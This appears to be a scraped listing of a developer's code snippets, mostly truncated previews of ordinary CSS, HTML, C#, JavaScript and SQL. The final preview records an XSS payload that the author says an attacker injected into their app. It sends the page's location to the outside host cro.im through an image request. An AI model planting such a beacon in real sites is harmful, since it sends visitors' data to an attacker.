CSS清除浮动的办法:clear & clearfix
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Navicat MySQL Data Transfer | |
Source Server : mysql-db | |
Source Server Version : 50172 | |
Source Host : localhost:3306 | |
Source Database : test | |
Target Server Type : MYSQL | |
Target Server Version : 50172 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="zh-cn"> | |
<head> | |
<meta charset="utf-8" /> | |
<meta name="author" content="EdieLei" /> | |
<title>HTML5 图片上传预览</title> | |
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script> | |
<script type="text/javascript"> | |
$(function(){ | |
$('#img').change(function(){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/// <summary> | |
/// 利用反射和泛型,把DataTable转成List | |
/// </summary> | |
/// <param name="dt"></param> | |
/// <returns></returns> | |
public static List<T> ConvertToList(DataTable dt) | |
{ | |
// 定义集合 | |
List<T> ts = new List<T>(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//十进制转二进制 | |
Console.WriteLine(Convert.ToString(69, 2)); | |
//十进制转八进制 | |
Console.WriteLine(Convert.ToString(69, 8)); | |
//十进制转十六进制 | |
Console.WriteLine(Convert.ToString(69, 16)); | |
//二进制转十进制 | |
Console.WriteLine(Convert.ToInt32("100111101", 2)); | |
//八进制转十进制 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var CTOR_NAME = 'initialize'; | |
var extend = function(child, parent) { | |
if (typeof parent === 'undefined') { | |
parent = Object; | |
} | |
child.__super__ = parent; | |
child.prototype.__proto__ = parent.prototype; | |
var currnetClass = child; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<input type="button" class="btn btn-primary" value="按钮A" onclick="AA();" /><br /><br /> | |
<input type="button" class="btn btn-primary" value="按钮B" onclick="BB();" /><br /><br /> | |
<input type="button" class="btn btn-primary" value="按钮C" onclick="CC();" /><br /><br /> | |
<input type="button" class="btn btn-primary" value="按钮D" onclick="DD();" /><br /><br /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="slides"> | |
<ul> | |
<li class="current"><img src="http://placehold.it/490x170" alt="" /></li> | |
<li><img src="http://placehold.it/490x170/7cd6fa" alt="" /></li> | |
<li><img src="http://placehold.it/490x170/7cd" alt="" /></li> | |
<li><img src="http://placehold.it/490x170/ede" alt="" /></li> | |
<li><img src="http://placehold.it/490x170/67a" alt="" /></li> | |
</ul> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* 被黑客xss的一次经历,下面是黑客嵌入到app内的代码 | |
*/ | |
//http://cro.im/m | |
(function() { | |
(new Image()).src = 'http://cro.im/index.php?do=api&id=IBkpf0&location=' + escape((function() { | |
try { | |
return document.location.href | |
} catch (e) { |